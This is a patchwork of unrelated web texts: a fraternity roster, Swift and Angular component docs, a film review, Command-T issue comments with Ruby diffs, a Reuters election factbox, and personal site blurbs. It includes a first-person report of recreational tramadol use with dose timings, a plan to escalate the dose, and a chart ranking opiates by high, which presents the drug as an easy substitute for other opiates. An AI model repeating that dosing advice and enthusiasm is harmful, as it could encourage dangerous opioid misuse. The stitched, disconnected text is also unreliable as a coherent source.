Tanvir Sidhu Curtis Wang Jordan Diamond Conrad Hain Nicholas Hatter Alexander Loftus Reuben Mathew Sam Miller Chris Perrotti Dravid Solinger Daniel Cykman Blake Elkins Jourdan Norman Josh Richardson Jake Aloia Jude Asare Brendan Bloodnick Jacob Flanzenbaum Kyle Glavey-Weiss Nathan Hwang Jordan Isenberg Samuel Katz Shiv Malhotra John Newman Azael Paz Siddhant Sachdev David Sammel Duncan Soqui Max Van Zile Nathan Bach Noah Pacifici James Yi Brendan Murray Maxwell Bleiweis Daniel Casey Austin Chan Kevin Chan Ritwik Dan Luke Daniels Left Shark Jordan Epstein Justin Hall August Kronstadt-Brennan Haydn Lenz Louis Liu Zachary Mandell Zachary Meyers Ehi Ojie Kenneth Serrano Christian Urbina Elijah Wilt Zhun Che John Kelland Austin Lee Kyle Sargent Wey-Wey Su John Vullo Daniel Fayad Jesse Hoke Kevin Mendoza Matthew Peraza Karim Rowel Solomon Shewit Spencer Watson Jonathan Windmuller Emmanuel Zheng Gabriel Gamez Danilo Pivaral Brothers Not Pictured: Richard Li, Songruo Xie, Tom Daniels, Connor McHugh, Alex Martell, Arman Vaziri
Alpha Kappa Chapter – Est. 1892
Active Brothers
founding Class
New Hartford, NY
Operations Research
Walnut, CA
Economics
beta Class
Amherst, MA
Hotel Administration
Carmel, CA
Near Eastern Studies
Rhinebeck, NY
Biological Engineering
Lancaster, NY
Biological Sciences
Utica, NY
Biology and Society
Sag Harbor, NY
Computer Science
Ivyland, PA
Mechanical Engineering
Syosset, NY
Computer Science
gamma Class
Kings Park, NY
Mechanical Engineering
Moorestown, NJ
Entomology
El Paso, TX
Biology and Society
Reinholds, PA
Computer Science
delta Class
Chester, NJ
Chemical Engineering
Milton, Ontario
Economics
Ithaca, NY
Biology
Greenlawn, NY
Marine Biology
New York, NY
Environmental Engineering
San Marino, CA
Information Science
Shaker Heights, OH
Economics
Castleton, NY
Human Biology, Health, and Society
Millburn, NJ
Computer Science
Thornwood, NY
Applied and Engineering Physics
Inglewood, CA
Biological Sciences
Ghaziabad, Uttar Pradesh
Economics & Government
Somers, NY
Computer Science
Tualatin, OR
Economics
Pompano Beach, FL
Economics
epsilon Class
Ithaca, NY
Math & Economics
Palos Verdes, CA
Biological Engineering
Needham, MA
Biology
transfer Class
Fayetteville, NY
Industrial and Labor Relations
zeta Class
Gainesville, FL
Undeclared
San Francisco, CA
Chemistry
Los Angeles, CA
Computer Science
Burlingame, CA
Materials Science and Engineering
Slingerlands, NY
Physics
San Juan Capistrano, CA
Industrial and Labor Relations
West Falls, NY
Industrial and Labor Relations
Tampa, FL
Economics & Government
Middlefield, CT
Human Biology, Health, and Society
Piermont, NY
Plant Science
Kennewick, WA
Plant Science
Beijing, Hebei
Applied Economics and Management
Charlottesville, VA
Philosophy & Statistical Sciences
Chester Springs, PA
Economics & Information Science
Port Harcourt, Rivers State
Biology
Yonkers, NY
Biological Sciences
Milton, MA
Animal Science
Columbus, OH
Computer Science
eta Class
Pelham, NY
Biological Sciences
Howell, MI
Mechanical & Aerospace Engineering
Granite Bay, CA
Policy Analysis and Management
Purcellville, VA
Operations Research
Wilmington, NC
Mechanical Engineering
Bay Shore, NY
Human Biology, Health, and Society
theta Class
Nuevo Leon, Mexico
Electrical & Computer Engineering
DeLand, FL
Physics
Hercules, CA
Industrial and Labor Relations
Shoreham, NY
Biology
La Jolla, CA
Applied Economics and Management
Falls Church, VA
Industrial and Labor Relations
Henderson, NV
Policy Analysis and Management
Vaud, Switzerland
Government
Potsdam, NY
Operations Research
iota Class
Los Angeles, CA
Information Science
Chicago, IL
Agricultural Science


CollectionChanges
public struct CollectionChanges<C> where C : Collection
Struct that contains information about added/removed/updated indexes Indexes are represented by any colection:
Usage example:
let changes = CollectionChanges<[Int]>(updatedIndexes: [0,2,3],
emovedIndexes: [1],
addedIndexes: [4])
-
Contains updated indexes
Declaration
Swift
public let updatedIndexes: C
-
Contains removed indexes
Declaration
Swift
public let removedIndexes: C
-
Contains added indexes
Declaration
Swift
public let addedIndexes: C
-
initialize changes
Declaration
Swift
public init(updatedIndexes: C, removedIndexes: C, addedIndexes: C)
Parameters
updatedIndexes
Collection of Updated Indexes
removedIndexes
Collection of Removed Indexes
addedIndexes
Collection of Added Indexes


THE FIVE SENSES A film review by Steve Rhodes Copyright 1999 Steve Rhodes RATING (0 TO ****): *** 1/2
In writer/director Jeremy Podeswa's mesmerizing THE FIVE SENSES, Rona (Mary-Louise Parker from GRAND CANYON) has a small problem -- an impaired sense of taste. A baker who creates marvelous-looking but incredibly-bland cakes, Rona hasn't a clue as to how to create flavor. Her taste in boyfriends is also questionable. While on vacation she met an Italian hunk, Roberto (Marco Leonardi), and invited him home. This non-English speaker has ensconced himself in her apartment, and she worries that she'll never get him out. Still, the sex is good, and, being a great cook, he feeds her well so she is perplexed about what to do.
This is one of many overlapping stories in THE FIVE SENSES. Each of them involves one of the five human senses in some way. Using this plot gimmick, Podeswa, an extremely gifted writer and director, never lets the limitations of the setup confine the bounds of his storytelling. The beauty of the story is that no matter how much we learn about each character, we are compelled to discover even more. Most writers introduce a dozen main characters only to the detriment of narrative clarity, but Podeswa manages to create complex characterization within the bounds of minimal screen time. His movie calls to mind Lawrence Kasdan's GRAND CANYON in the depth of its characterization.
THE FIVE SENSES in tone most reminds one of another Canadian film, THE SWEET HEREAFTER, but THE FIVE SENSES mixes comedy and romance with its tragedies. The deliberate and successful slow pacing works in both pictures, whereas slowness is usually cinematic death for a film.
The story that glues the others together concerns the disappearance of a 4-year-old girl, Amy Lee. One day at the massage therapist, Ruth (Gabrielle Rose), Anna (Molly Parker from KISSED) finds that Amy Lee is bored. Ruth asks her very reluctant teenage daughter, Rachel (Nadia Litz), to take Amy Lee to the park across the street to play.
Rachel is a sullen, unhappy kid with a lot of repressed anger. A 16-year-old high school dropout, she looks like a character straight from THE ICE STORM. She voyeurs life like a stranger from her nerdy glasses. While in charge of Amy Lee, Rachel wanders off to observe lovers in the park, and when she returns, her little charge is gone. Rachel feels terrible about it but stuffs her feelings as deep as she can. Only another outsider about her age, Rupert (Brendan Fletcher), can understand something of her angst, causing them to develop a strange bond.
In the same building as Ruth is an eye-doctor, Richard (Philippe Volter), who is going deaf. He becomes an audio voyeur and begins making a list of those sounds that he wants to listen to before his hearing goes. His character is reminiscent of the one from LAST NIGHT who had a long list of activities that he wanted to engage in before the world ended.
The most interesting and unusual character is that of Robert (Daniel MacIvor), Rona's bisexual house cleaner, who has a remarkable gift of smell. Robert is on a quest to smell all of his previous lovers to see if any of them still love him. He explains that he can smell love and that he actually would not call his acquaintances "lovers" since he doesn't think any of them really loved him. Robert and Rona, one of his ex-flings, mentor each other in the ways of love. He is especially full of advice for her, most of which she agrees with but ignores anyway.
Robert is a funny, friendly guy, who is light-years away from the clichés we are normally presented with as gay people. His search has the same bittersweet tone as the rest of the movie, but his character works so hard to be happy that we could vote him "Most Wanting to Succeed." We root for him all the way even when it seems that no one appreciates him as they should. (He's also one of the best and happiest house cleaners you've ever met.)
The hauntingly beautiful music by composers Alexina Louie and Alex Pauk perfectly captures and enhances the mood of the film. Full of strings, wind instruments and dreamy voices, the score is striking in its emotional impact on the film and lovely on its own.
Eventually, the stories wrap up quite satisfactorily but without any unnatural convergences or actions. Like GRAND CANYON, you are left wanting to know more about what happens to your newly-made friends after the three days covered in the narrative. Podeswa doesn't insult your intelligence by providing some cheap epilogue. He leaves you free to use your imagination to decide how the rest of their lives turn out.
THE FIVE SENSES runs 1:44. It is rated R for sexuality and language and would be acceptable for teenagers.
Email<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Comments
-
Greg Hurrell
Any idea of what the performance impact of this is on really large directory hierarchies? (ie. crank up the scan depth and max file limit and then see how it performs on an enormous hierarchy.)
-
Greg Hurrell
I've had a bit of a play around with this and I like the basic idea of it. It seems to handle most of the usage scenarios mentioned in ticket #1542:
- existing simple file globs like
*.o
and.git
- patterns with leading
**
Notably it doesn't handle patterns of the form
vendor/rails/**
like the person who posted that ticket was originally requesting. This is because internally, we're working with absolute paths at that point and/absolute/path/to/vendor/rails/foo
is not considered by VIM as a match. Instead, you would need to specify a pattern like**/vendor/rails/**
.One change required, however. It appears that on at least some versions of VIM the Ruby support doesn't know how to turn "NULL" results into an empty string, which means that you'll get a "NULL pointer given" exception raised every time you test an excluded path. From Googling I see that this isn't something that happens to affect just the platform I'm using (MacVim).
So this is the tweaked version I'm testing, which uses
empty(exclude('...'))
rather than just a nakedexclude('...')
:diff --git a/ruby/command-t/controller.rb b/ruby/command-t/controller.rb index 51277ce..3b93c19 100644 --- a/ruby/command-t/controller.rb +++ b/ruby/command-t/controller.rb @@ -148,8 +148,7 @@ module CommandT :max_depth => get_number('g:CommandTMaxDepth'), :always_show_dot_files => get_bool('g:CommandTAlwaysShowDotFiles'), :never_show_dot_files => get_bool('g:CommandTNeverShowDotFiles'), - :scan_dot_directories => get_bool('g:CommandTScanDotDirectories'), - :excludes => get_string('&wildignore') + :scan_dot_directories => get_bool('g:CommandTScanDotDirectories') end def get_number name diff --git a/ruby/command-t/scanner.rb b/ruby/command-t/scanner.rb index a48d070..c773d72 100644 --- a/ruby/command-t/scanner.rb +++ b/ruby/command-t/scanner.rb @@ -31,7 +31,6 @@ module CommandT @max_depth = options[:max_depth] || 15 @max_files = options[:max_files] || 10_000 @scan_dot_directories = options[:scan_dot_directories] || false - @excludes = (options[:excludes] || '*.o,*.obj,.git').split(',') end def paths @@ -61,16 +60,15 @@ module CommandT private def path_excluded? path - @excludes.any? do |pattern| - File.fnmatch pattern, path, File::FNM_DOTMATCH - end + path = Vim.escape_for_single_quotes path + VIM.evaluate("empty(expand('#{path}'))").to_i == 1 end def add_paths_for_directory dir, accumulator Dir.foreach(dir) do |entry| next if ['.', '..'].include?(entry) path = File.join(dir, entry) - unless path_excluded?(entry) + unless path_excluded?(path) if File.file?(path) @files += 1 raise FileLimitExceeded if @files > @max_files
- existing simple file globs like
-
Greg Hurrell
And here's my entry into the commit log essay contest:
commit bbf296b775d5d9220fae28a34111117312bfcaa7 Author: Wincent Colaiuta<EMAIL_ADDRESS>Date: Tue May 11 21:56:57 2010 +0200 Bring wildignore behavior closer to VIM's own behaviour In commit f314c1e6 we tried to make Command-T react to the 'wildignore' setting in way that more closely matches VIM's own behaviour by using the builtin expand() function which takes into account 'wildignore'. While this works quite well, there are still some discrepancies from VIM's actual behaviour. For example, while patterns like this work as expected with no surprises: *.o .git **/build A pattern like this: vendor/rails/** Will work differently in Command-T than it does in the rest of VIM. Specifically, if I type this in VIM: :e vendor/rails/<tab> Then VIM's autocomplete won't allow me to drill down into the directory because it is excluded by the 'wildignore' setting. Command-T, on the other hand, will allow me to see the contents of that directory. This is because internally, at the time the file names are checked, they are almost always absolute paths, because the default starting directory is ":pwd" which is itself provided by VIM as an absolute path. As such, VIM's expand() function checks to see if: /absolute/path/to/vendor/rails/ Matches against the 'wildignore' pattern of: vendor/rails/** And decides that it does not match. As a work around, a user could specify a pattern like this: **/vendor/rails/** But it is a bit ugly because it doesn't fit well with the behaviour of VIM itself. The fix, then, is to not pass absolute paths into the expand() function, but to pass paths relative to the starting directory. In 99% of cases, the starting directory is the ":pwd", so the behaviour should then be identical to VIM's own behaviour. In the cases where the user has passed in an override for the starting directory (either relative or absolute), then the behaviour will diverge slightly from VIM's while still hopefully being consistent and intuitive from the user's perspective. For example, if :pwd is the HOME directory and the user invokes Command-T with: :CommandT path/to/some/rails/project Then a 'wildignore' which includes this pattern: vendor/rails/** Will exclude all files under: path/to/some/rails/prokect/vendor/rails/ Which is probably what the user expects. For comparison, typing: :e path/to/some/rails/project/vendor/rails/<tab> Will autocomplete despite the 'wildignore' settings, which is consistent with the standard VIM behaviour as described previously. Signed-off-by: Wincent Colaiuta<EMAIL_ADDRESS>diff --git a/ruby/command-t/scanner.rb b/ruby/command-t/scanner.rb index c773d72..1868e95 100644 --- a/ruby/command-t/scanner.rb +++ b/ruby/command-t/scanner.rb @@ -21,13 +21,15 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. +require 'pathname' + module CommandT # Reads the current directory recursively for the paths to all regular files. class Scanner class FileLimitExceeded < ::RuntimeError; end def initialize path = Dir.pwd, options = {} - @path = path + @path = path ? Pathname.new(path) : nil @max_depth = options[:max_depth] || 15 @max_files = options[:max_files] || 10_000 @scan_dot_directories = options[:scan_dot_directories] || false @@ -39,7 +41,7 @@ module CommandT @paths = [] @depth = 0 @files = 0 - @prefix_len = @path.chomp('/').length + @prefix_len = @path.to_s.chomp('/').length add_paths_for_directory @path, @paths rescue FileLimitExceeded end @@ -51,8 +53,9 @@ module CommandT end def path= str - if @path != str - @path = str + pathname = str ? Pathname.new(str) : nil + if @path != pathname + @path = pathname flush end end @@ -60,6 +63,7 @@ module CommandT private def path_excluded? path + path = path.relative_path_from(@path).to_s path = Vim.escape_for_single_quotes path VIM.evaluate("empty(expand('#{path}'))").to_i == 1 end @@ -67,13 +71,13 @@ module CommandT def add_paths_for_directory dir, accumulator Dir.foreach(dir) do |entry| next if ['.', '..'].include?(entry) - path = File.join(dir, entry) + path = dir + entry unless path_excluded?(path) - if File.file?(path) + if path.file? @files += 1 raise FileLimitExceeded if @files > @max_files - accumulator << path[@prefix_len + 1..-1] - elsif File.directory?(path) + accumulator << path.to_s[@prefix_len + 1..-1] + elsif path.directory? next if @depth >= @max_depth next if (entry.match(/\A\./) && !@scan_dot_directories) @depth += 1
-
anonymous
I'm going to rethink this a bit (going through VIM:: makes it rather hard to test).
-
anonymous
oops, ignore my last post (and this one). I forgot to reload the page before I posted it.
-
Greg Hurrell
Performance of the Pathname-based code is a bit sucky, based on my subjective testing. Gonna try replacing it with something simpler.
-
Greg Hurrell
This replaces the Pathname-based code with a much faster "inline" alternative:
diff --git a/ruby/command-t/scanner.rb b/ruby/command-t/scanner.rb index 1868e95..c14668d 100644 --- a/ruby/command-t/scanner.rb +++ b/ruby/command-t/scanner.rb @@ -21,15 +21,13 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -require 'pathname' - module CommandT # Reads the current directory recursively for the paths to all regular files. class Scanner class FileLimitExceeded < ::RuntimeError; end def initialize path = Dir.pwd, options = {} - @path = path ? Pathname.new(path) : nil + @path = path @max_depth = options[:max_depth] || 15 @max_files = options[:max_files] || 10_000 @scan_dot_directories = options[:scan_dot_directories] || false @@ -41,7 +39,7 @@ module CommandT @paths = [] @depth = 0 @files = 0 - @prefix_len = @path.to_s.chomp('/').length + @prefix_len = @path.chomp('/').length add_paths_for_directory @path, @paths rescue FileLimitExceeded end @@ -53,9 +51,8 @@ module CommandT end def path= str - pathname = str ? Pathname.new(str) : nil - if @path != pathname - @path = pathname + if @path != str + @path = str flush end end @@ -63,7 +60,8 @@ module CommandT private def path_excluded? path - path = path.relative_path_from(@path).to_s + # first strip common prefix (@path) from path + path = path[(@prefix_len + 1)..-1] path = Vim.escape_for_single_quotes path VIM.evaluate("empty(expand('#{path}'))").to_i == 1 end @@ -71,13 +69,13 @@ module CommandT def add_paths_for_directory dir, accumulator Dir.foreach(dir) do |entry| next if ['.', '..'].include?(entry) - path = dir + entry + path = File.join(dir, entry) unless path_excluded?(path) - if path.file? + if File.file?(path) @files += 1 raise FileLimitExceeded if @files > @max_files - accumulator << path.to_s[@prefix_len + 1..-1] - elsif path.directory? + accumulator << path[@prefix_len + 1..-1] + elsif File.directory?(path) next if @depth >= @max_depth next if (entry.match(/\A\./) && !@scan_dot_directories) @depth += 1
-
Greg Hurrell
Ok, I've now done enough testing of this that it's at the point where I feel ok with pushing it out. Relevant commits are:
- http://git.wincent.com/command-t.git/commitdiff/f314c1e671b9ea655b635aef038d409bee0976b7
- http://git.wincent.com/command-t.git/commitdiff/bbf296b775d5d9220fae28a34111117312bfcaa7
- http://git.wincent.com/command-t.git/commitdiff/1df3167609c48ec5935051d7e4491677a58ca678
- http://git.wincent.com/command-t.git/commitdiff/a2b713d49bfb22e4a2afd17115835a5e7f00dd97
Still not at the point where I feel comfortable cutting a release, but at least it's out there in the public eye now.
-
Greg Hurrell
Status changed:
- From: new
- To: closed
Add a comment
Comments are now closed for this issue.


Factbox: How will Britain's December 12 'Brexit election' work?
LONDON (Reuters) - Britain will hold a general election on Dec. 12, electing 650 new members of parliament, from which a government will be formed. Their first task will likely be to decide how, when and if the country will leave the European Union.
Below are the key facts about how the election will work:
WHAT ARE PEOPLE VOTING FOR?
- The country is divided into 650 regions, known as constituencies.
- Each constituency equates to one seat in parliament’s House of Commons. There are:
533 in England
59 in Scotland
40 in Wales
18 in Northern Ireland
- In each constituency, voters vote for a local candidate.
- Candidates represent a political party, or are independent.
- The candidate who receives the most votes wins the seat.
- Voting takes place on Dec. 12 from 0700 GMT until 2200 GMT.
- Votes can be cast in person at polling stations across the country, or in advance by post.
WHO CAN VOTE?
- There are 45.8 million registered voters in England, Wales, Scotland and Northern Ireland.(1)
- British citizens resident in the country and aged 18 years or over on Dec. 12 are eligible to vote.
- Irish and some Commonwealth citizens resident in the country can also vote. Britons living overseas can also vote if they have registered to vote in Britain during the previous 15 years.
WHEN ARE THE RESULTS ANNOUNCED?
- An exit poll published at 2200 GMT usually gives a good idea of how the election has gone. In three of the last four elections, this poll has correctly called the overall result, albeit with a margin of error on actual numbers of seats.
- Most constituencies begin counting votes immediately after the polls close at 2200 GMT.
- The first results are usually available within a few hours, and the bulk are expected in the early hours of Dec. 13.
- All results should be declared by the end of Dec. 13.
WHAT HAPPENS NEXT?
- If there is a clear winner or loser based on the exit poll and the subsequent declaration of actual results, an opposition leader may choose to concede, or a winner may declare victory.
- If the result is expected to be close, parties are likely to wait until almost all the results are in.
HOW MANY SEATS TO WIN?
- An absolute majority in parliament is 326 seats.
- However, the actual number for a working majority is lower. This is because lawmakers elected for the Sinn Fein party in Northern Ireland do not take up their seats.
- For example, at the 2017 election Sinn Fein won seven seats, effectively lowering the threshold at that election to 322.
WHAT IF THERE IS NO CLEAR WINNER?
- If no party wins a majority, it is called a ‘hung parliament’.
- If this happens, parties can try to form an alliance with one another to give them enough support to win a vote in parliament.
- The incumbent - in this case Prime Minister Boris Johnson - would get first try at putting together an arrangement to command a majority in parliament.
- This could be under a formal coalition arrangement, as happened in 2010 between the Conservatives and the Liberal Democrats.
- It could also be a ‘Confidence and Supply’ agreement with a smaller party to support the government, as happened in 2017 between the Conservatives and the Democratic Unionist Party.
- If Johnson cannot form a government he can resign and recommend that the leader of the largest opposition party is given a chance to form the executive.
(1) According to the latest available data from the Office for National Statistics, which was collected in December 2018 and released in March.


Nate Hill
@natenatenate
Re-Think IT: Libraries for a New Age
presentation: http://natehill.net/rethinkit
here's something you've seen a lot of at this conference
Chattanooga's 4th Floor as an example
prototype ideas, fold projects and culture back into your organization
"we know this place sucks right now"
by helping your library, you are helping yourself
The 4th floor is a public laboratory and educational facility with a focus on information, design, technology, and the applied arts.
avoid analysis paralysis
andlaunch more new things!
emergent structures you can learn from
Applying this pattern to another kind of organization
A lab where New York's libraries and archives learn together and collaborate on digital projects


Web Development¶
Things to Note¶
Web development is a very very broad spectrum of tools and languages; this archive does not (and cannot) attempt to cover all of the available options and possible technologies
Always put CSS and Javascript into separate files and link them into the HTML, do not clutter your HTML with scripts and styling
Resources¶
- W3Fools
!important;
please read this site before doing any web dev research, it shows you all the reasons you should NOT use a commonly appearing site called W3Schools. Also note that W3Schools is not in any way affiliated with the similarly named W3C, which is an organization that creates international standards for a number of web technologies!- HTML5 Rocks
Easily one of THE best places to go for HTML 5 information; all sorts of tutorials and information about the HTML5 specification.
- Mozilla Developer Network
Another really great resource for all sorts of information regarding HTML, CSS, and JS, as well as web API’s and DOM.
- CSS3
One of, if not the best place for CSS3 information aside from the mozilla developer network.
- XML (wiki) (XML tutorial)/JSON (wiki) (JSON tutorial)
Both are very common data exchange formats for web technologies, and while XML has much more complex uses, the basics of both are very simple and easy to understand (personally I greatly prefer JSON since you seldom encounter the same parsing shenanigans as is required with XML).
- Django tutorial
My favorite back-end Python web framework for web apps, it has ease-of-use, a great MVC architecture, and the full power of Python.
- learn-js
Excellent tutorial to learn the core of creating a dynamic client-side experience.
- jQuery
jQuery is in many ways the de-facto standard as far as js libraries are concerned, you’d be hard pressed to find a modern website that doesn’t make use of this awesome js framework.
- Bootstrap
Twitter’s own front-end bootstrap framework is one of the most popular for good reason; once you learn how to leverage it, it can make prototyping and scaffolding very fast.
- LESS CSS
LESS is a CSS preprocessor that expands the powers of CSS immensely and removes some annoying limitations of CSS by itself.


I am goal oriented toward a career in computer science and passionate for an overall understanding of computer programming. I am currently practiced in the field of web development and seek expansion of my current knowledge of engineering. This website is apart of my practice in learning how to incorporate different ways, styles and design for making beautiful websites. This website will include links to my contact, my work, and my newsletter submission. The newsletter submission will remain under construction until further notice.
Original design created by Ayo Themes, under the name AyoShop. Licensed under GNU General Public License v2.0 (or later). Ported to Drupal by Drupalizing, a Project of More than Themes.


$def with (scan_file)
If the cloud is not visible, maybe a network delay caused a problem. Make sure that RViz is subscribed to the PointCloud2 topic /cloud_pcd


I'll get my kit! That could be 'my' beautiful soul sitting naked on a couch.  Or a guy who burns down a bar for the insurance money! File not found. It's toe-tappingly tragic!


Are you capable to find all pokemon pairs? Choose the difficulty with 4, 6 or 8 cards and start the game!


Just so you know i created this website at gunpoint. Call the cops!
Passing cars, When you cant see, May get you, A glimpse, of eternity.


This package was originally meant to provide a framework for creating and experimenting with 2 player games with perfect information. However, it has expended to include multi-player games, and games other than those with perfect information. You can use it to create new games or improve on old ones. Even if you do not add new games, there are a variety of ways that you can extend and improve all of the existing games by enhancing the shared common code. For example, you can add new search strategies (see the game.twoplayer.common.search package) or you can enhance the ui (see game.core.ui or bb4-ui) or optimization project (bb4-optimization) .


I want this report to help out those who are looking into Tramadol in comparison to other well-known opiates.
I'll start this off the traditional way, by giving a little background. My drug library includes Alcohol, Pot, DXM, Mushrooms, Cocaine, Barbituates, Hydrocodone, Codeine, Oxycodone. My drug type of choice is Opiates. I have a good amount of experience in the field of this drug type.
The first time I got to try Tramadol was while trying to purchase Percocets. The latter fell through so I went with the Tramadols which I had previously read about. Tramadol always struck me as having a very weak high from what I read. Some classify it as a non-opiate, some as a quasi-opiate, but from what I can tell it's an opiate to me.
At three dollars a pill I jumped on the deal. Now the difference with most of these other reports is that the drug used in them is a generic form of Tramadol. Generic forms are, from experience, much weaker than the brand name counterparts. I don't know why this is, but I also remember when I had Endocets, they were much weaker than Percocets.
Ultracets are what the Tramadols were labelled as. They contain 37.5 mg of Tramadol, and 325 mg of generic Tylenol. Since generic Tramadol have 50 mg, it seems like it will be weaker. But trust me, this is far from the truth. Read on and I will compare the drug to other opiates as well as give a general description of what I felt at the time.
4:15 - I ingest 2 - 37.5 mg pills. I have eaten McDonalds about 2 hours earlier so it's not a fully empty stomach.
4:35 - Very mild stomach pains. For some reason I feel like I'm not going to feel anything because of all the negative stuff I have read.
4:45 - A very mild Codeine-like high is coming over me. It could be placebo effects, but I kind of feel it's more than just that.  It's super mild and just has a weird feeling about it. By now I have given up on Tramadol as a good drug.
5:00 - My girlfriend comes over and we go for a drive to get her something to eat. Very slowly I find myself in a Hydrocodone-like high. It is very nice at this point. Just looking out the window puts a smile on my face. Also talking is pleasurable. Not only do I feel the euphoria, I feel energetic. It is kind of odd because I almost forgot I had taken the drug since I had given up on it.
5:50 - The feeling is going strong. It is not like the powerful oxycodone high that washes over you in a strong but short wave. It reminds me more of about 10-15 mgs of hydrocodone. The energy is a much welcome element to an opium high. Opiates usually make me very tired. This extra energy boost seemed to help me get more out of the high. My mind could fully appreciate the wonderful world of this drug.
7:25 - I get home and let me tell you, watching TV is awesome right now. I keep getting up to look for things to do. I set up a dart board, played darts, and found a keyboard. Playing the keyboard is something I have found amazing to do, on or off drugs. Although on drugs, it always seems to promote more creativity. I was coming up with awesome little tunes and enjoying them as I listened. Laying with a loved one on this drug is also as pleasurable as it gets. Im loving this new found delight.
8:35 - This is odd. Opiate highs never last more than 2-3 hours with me. Even the 2-3 hours consists of 1 hour of euphoria with a 1-2 hour come down. The high I have right now is just as strong as the high at 5,6, and 7 o'clock. This is amazing. I've never been in this state of mind for this long and I'm loving it.
9:00 - I start watching Animal House. I'm realizing that I don't have to be just sitting down, I actually have energy where I could be getting things done instead of the usual, 'I'm on an opiate, let me lay in bed and close my eyes'. There isn't anything to do though, so I stay seated. I haven't eaten or been hungry since I ingested the pills.
10:00 - It's been 6 hours since ingestion, and 5 hours since the great feeling took over. I can feel a slight comedown. It's just as subtle as it came into effect. It is still going pretty strong though.
11:00 - I start writing out the report and by the time I'm done it's gone. I have a mild cramp but its nothing big, probably from not eating. I was a little itchy, but thats gone as well. This was on of the best opiates I have done so far. The length, energy boost, and good old opiate flavor made this a drug of choice.
Tomorrow I plan to do 3(112.5 mg Tramadol HCL, 975 mg generic tylenol). I know that opiates build tolerance levels, so it might not be effective. This will be the final test. If it can do it's magic more than once, it will truely be 'better than the rest'.
The chart below rates opiates I have tried (with a relative, moderate dosage), displaying different qualities of various types on a scale of 1(weak)-10(strong).
Opiates | High | Length | Bad Side Effects*
---------------------------------------------------------
Oxycodone(5mg) | 10.0 | 2.0 | 2.0
Hydrocodone(15mg) | 7.5 | 6.0 | 2.0
Tramadol(70mg) | 8.0 | 10.0 | 2.5
Codeine(120mg) | 1.0 | 2.5 | 7.0
Everything on this chart is how I react to these chemicals. Everyone is different as stated on the nifty subtext of this site ;).
*The bad side effects category is things such as difficulty breathing, itchiness, pain afterwards or during, etc.
Well I hope this helped clear things up about this new and UNSCHEDULED drug. It is an easy substitute for any opiate shy of Morphine in my opinion.
Have fun and stay healthy.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


--- layout: default title: About me website: true ---
I'm Sai Teja Pratap. I work for Google as a Software Engineer. I previously worked at Relcy, Inc and Rocket Fuel, Inc. Before that I was doing my Bachelors in Computer Science at IIT Bombay
Now that you are here, checkout something which might be of interest.


--- layout: page title: Consulting permalink: /consulting/ ---
I'm available to consult or advise, primarily specializing in web application development, machine learning models, and agile coaching (see my resume for details on the kinds of projects I've delivered and technologies I know best). Please feel free to contact me for estimates and rates.


This example shows simple table usage
Developers can pass additional content into tables' toolbar left side.
To do that, developers need to wrap needed content with fdp-table-toolbar-left-actions
component.
This example also shows the usage of the overflow functionality of the toolbar.
Use width
on the table column for setting custom width for the column cells. For the columns
without width set it will be calculated automatically based on the body cell content but not header cell
content.
Note that if width is set in percents (%), it will be calculated relatively to initial table width.
Columns width will be recalculated on any width
change but you also can use table's method
recalculateTableColumnWidth
to recalculate it manually.
This example shows custom column definition implementation
Developers are able to change the appearance of a regular cell and header cell as well.
Additionally, developers can define custom renderer of the header cell popover.
Use [freezeColumnsTo]="columnName"
to freeze columns up to and including.
When using this features it's very important to set the width
for the every column as table cells
width won't be calculated properly.
Use [loading]="true|false"
to set busy state. Table component also exposes
onDataRequested
and onDataReceived
outputs, that can be used to implement any external
loading logic. These events are tied to the querying process through dataSource.
By default, Table tracks these loading events and apply loading state internally. However, you can modify this
logic by using onDataRequested
and onDataReceived
methods and
loading
input on the component
[initialVisibleColumns]
List of column names in order.[initialSortBy]
Initial sorting parameters for table state.[initialFilterBy]
Initial filtering parameters for table state.[initialGroupBy]
Initial grouping parameters for table state.[isTreeTable]
Whether tree mode enabled or no.[relationKey]
Name of the field in the object which contains children nodes.Tree table supports mouse Drag & Drop by default, so rows can be moved & placed inside other rows.
Drag & Drop events are simply client-side events and any desired backend changes must be handled by catching the
(rowsRearrange)
event.
Drag and drop is available via keyboard by focusing a row or cell, holding the alt/option key and using the up or down arrows.
By default, keyboard drag & drop works in shift mode, which means that focused item will ne moved on the same level as it's siblings.
By pressing alt/option + shift key, drag & drop will use 'group' mode with the next sibling based on the direction of drag & drop.
Drag and drop can be disabled by setting the [enableRowReordering]
input to false
.
Additionally, developers can pass custom [dropPredicate]
and
[dragoverPredicate]
functions to allow/disallow drop on particular row.
More info on [dropPredicate]
and [dragoverPredicate]
can be found on
CDK page
Tree can be initialized and and its state can be controlled by the application. In order to do this tree needs
be instantiated using TableRow
interface, where application set initial state.
You can also set [enableTristateMode]
, to propagate selection from children to parents and parent
to children.
fdp-table-no-data-wrapper
element to define custom "No data" message.
This example shows semantic highlighting for the rows.
Use semanticHighlighting="value"
input property on the table to show semantic row's status column.
Where value
(string) is the key of the table row's item with status. Available statuses are
valid, warning, information, error
. Any other statuses will be percieved as "no status".
rowsClass
input
property of the table component to define custom CSS classes.
'customClass'
) to set custom CSS classes for every row.(row) => row.field ? 'customClass' : 'anotherClass'
) which returns string to
describe own logic. Row will be passed as function's parameter.
This example demonstrates ability to disable wrapping column text into multiple lines.
Pass ([noWrap]="true"
) input property to the column definition in order to make text inside it not
to wrap.
no-outer-borders
input property on the fdp-table to disable outer borders.Table component supports of adding new rows to it by providing user with new row with form controls to define row columns values.
To enable adding new rows "on the fly", provide [editMode]="'inline'"
input property for
fdp-table-toolbar
component.
WHen new row added, Table Component tries to generate empty object based on columns definitions. If this object
needs to be more sophisticated, developers can pass [editableRowSkeleton]
property with configured
empty row object.
By default, editable cell renders form control based on the column [dataType]
